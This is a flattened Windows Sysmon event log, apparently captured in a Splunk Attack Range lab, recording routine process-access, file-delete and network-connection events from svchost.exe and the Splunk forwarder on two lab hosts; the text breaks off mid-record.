14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047399Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047398Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047397Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9606-00000000F001}3808C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000047396Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:08.159{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9606-00000000F001}3808C:\Windows\System32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015056Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:09.609{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=538072F291C0806B3FB88421CD8FDEA2,SHA256=1C4E12DEB61308F6DF51E499385699277AC0E75CDA8C6DFCE66CF56FB245EBAA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047429Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:09.004{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2944D324E0600B7D1B3910FE094B28E2,SHA256=FF27C0A3B45099A133786FA9CCF5F4AF674C8D92A782FB3915BB58A68A62748D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015058Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:10.640{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=459943E0E36D6A6C556BD90EFFBFE5C6,SHA256=49E8A165509C070E42AA3D841B0173C4B5DE94F6BCE51F35E7451BE44AFF8F43,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047430Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:10.066{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FA8B667824200FBD6AEFDD6E89D0773F,SHA256=5CC8899E75F238AB119319D79D1642C881AB56572598FCB83329631DB403475B,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015057Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:08.543{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50200-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015059Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:11.658{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2E9A4E81ECC9C26A12C501147476CB59,SHA256=3F038D3102B148E062227E4C95CC6328E7B0624AAAA2BA861FBAA899B3FC9F43,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047431Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:11.096{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9B8C87A7EE399C452D622062B38A6AC4,SHA256=19F66F4256E4824F8D6EB8CC32B23E5F02E5A383115C0007793A79E8287445A0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015060Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:12.705{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=75C262CC63B44F9F76056865C3B050D1,SHA256=9C526CF71CC08D71676957ACB7CE81C4FA28722EC5CAF218A345D66008535746,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000047433Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:10.315{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59391-false10.0.1.12-8000- 23542300x800000000000000047432Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:12.175{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=431AB710ED2D10880CCE0DFC9DB7F455,SHA256=16BD375951397C68B712F8900F15D5E8722E223A9D5860C77B897DD876013B5C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015061Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:13.721{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5826D81ED087BDF98DF7EA0D60BA031F,SHA256=38B5F52AC80184F41B77784EC55704A90C4B36B45361E300E49F55539984DCAD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047434Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:13.206{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2A0B50A3B05AE7B98A7B03ACBDD0D47C,SHA256=5F25DC6C068B8D13FB2788F524E49E8F56D6E34595357738EE0A533666A599F1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015062Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:14.736{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5258DE9D1F0C7E2575693BE4779D3256,SHA256=53100C2E948047F8590ADAF61D7D16292B99CA5E7AE3ECBC7C38BE04DD1530DD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047435Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:14.221{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=21E9AC9CF6123076F04D419448105E8F,SHA256=C1C408E40CFBF06550CB2A0D7E3204AC4C31FE1BA7C5D68F057E2E5DCC4555B3,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015064Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:14.358{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50201-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015063Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:15.768{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A5BF70CCFE018A3FCBAEBFFEE8A2DF70,SHA256=6DBC50D1AFB025C17B7446CA6A73DF31B82B7A73B91E7D41B68D055F90D5840F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047436Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:15.253{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D06A46AEDA9E2BC27B575FE866ADCF6F,SHA256=029FA6C8F80F3638415C6D92E27DB68196A9F0BA95442B89864BD4A24CC35BB4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015065Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:16.783{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0836468A60DAA33637629FB689A94C3D,SHA256=4BCEF7C584325846DFC5D6F02FAAABF703494A7F492E26256642F870B3EB5F76,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000047437Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:16.378{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A36D0E8F015A71D54B428943B99D2C1,SHA256=E18BAF5F0AEF7CC09F2BA7AD8A0DE88D15551FBE213DA65C66FAFE9B39AB0456,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015066Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:51:17.799{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CE3DE5CF458575E5CF27CFB1C3F5BFB5,SHA256=9F9AF28AB69EB17A5386DD1147008B065B278CD3932139FCE4CBEE8EB94F7D23,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000047446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:51:17.518{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-70E5-613B-180B-00000000F001}4272C:\Program 